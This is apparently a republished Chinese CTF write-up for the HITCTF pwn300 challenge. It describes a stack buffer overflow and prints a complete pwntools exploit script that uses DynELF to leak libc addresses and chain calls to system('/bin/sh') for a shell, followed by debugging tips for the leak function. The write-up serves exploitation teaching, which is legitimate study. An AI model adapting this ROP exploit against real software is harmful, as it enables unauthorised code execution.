HITCTF PWN300--dynelf
来源:互联网 发布:飞机水上迫降 知乎 编辑:程序博客网 时间:2024/06/08 09:31
第一次用Dynelf,脚本调了一下午。。
hitctf pwn300
题目链接:http://pan.baidu.com/s/1eSCCOE2
漏洞分析:三个write之前的一个函数调用了read来读入字符,而这里存在明显的缓冲区溢出,可以覆盖main函数的栈地址,这个题没给libc,got表里没有system之类的函数,于是考虑用dynelf。
攻击脚本:
from pwn import *io = process("./pwn300")writeplt = 0x80483E0start_addr = 0x08048400data_w = 0x0804A030readplt = 0x8048390def leak(addr): payload = "a" * 0x1A + p32(writeplt) + p32(start_addr) +p32(1) + p32(addr) + p32(4) io.sendline(payload) io.recvuntil(p32(4)) io.recv(1) data = io.recv(4) print "%#x => %s"%(addr,repr(data)) return datadynelf = DynELF(leak,elf = ELF("./pwn300"))sys_addr = dynelf.lookup("system","libc")read_addr = dynelf.lookup("read","libc")print "sys_addr:" + hex(sys_addr)print "read_addr:"+hex(read_addr)payload1 = "a" * 0x1A + p32(start_addr)io.sendline(payload1)payload2 = "a" * 0x1A + p32(read_addr) + p32(start_addr) + p32(0) + p32(data_w) + p32(8)io.sendline(payload2)io.send("/bin/sh\x00")payload3 = "a" * 0x1A + p32(sys_addr) + p32(start_addr) +p32(data_w)io.sendline(payload3)io.interactive()
脚本看起来很简单,但是博主调了一下午。。。主要原因是我原来的leak是这样的:
def leak(addr): payload = "a" * 0x1A + p32(writeplt) + p32(start_addr) +p32(1) + p32(addr) + p32(4) io.sendline(payload) io.recvline() io.recvuntil("\n") data = io.recv(4) print "%#x => %s"%(addr,repr(data))
乍一看好像没什么毛病,一跑起来就有问题了:
首先,没return data
然后这个recvuntil(“\n”)是有问题的,因为这个程序是会截断”\r”(ascii码为0x0D)的,dynelf在检测got表时可能会输入含有0d这样的字节,这样我们的payload就会被截断,导致后面的leak雪崩式错误。(由于不清楚dynelf是怎么找got表的,这个leak有时可以有时不行,所以这个bug不好复现)
总之,写leak函数的注意以下几点:
1.不要忘记return data,这个data在32位机上是4个字节
2.算清楚recv(),recvuntil()的长度,否则程序一跑起来就容易报EOF的错误
3.尽量避免找有交互的函数作为leak点
这篇文章讲dynelf讲的很好:http://bobao.360.cn/learning/detail/3298.html
0 0
- HITCTF PWN300--dynelf
- sctf 2014 pwn300
- 2017湖湘杯pwn300的wp
- 栈溢出利用之DynELF实例
- 初探ROP攻击 Memory Leak & DynELF
- 2017 429 ichunqiu ctf smallest(pwn300) writeup
- 初探ROP攻击 Memory Leak & DynELF
- python的数据爬取问题
- 正经的树链剖分
- OpenLayers+天地图+Geoserver+WMS图层服务
- 搭建Struts2步骤
- SVM浅析
- HITCTF PWN300--dynelf
- 懂商业的技术合伙人(8):最常见的11种云服务
- WebView与js交互(2)
- 每天一个Linux命令(14):head
- 导入项目报的错(集合)
- C++数组的内存模型分析
- C语言循环结构简单练习1——输出九九乘法表
- 继承
- java跨平台原理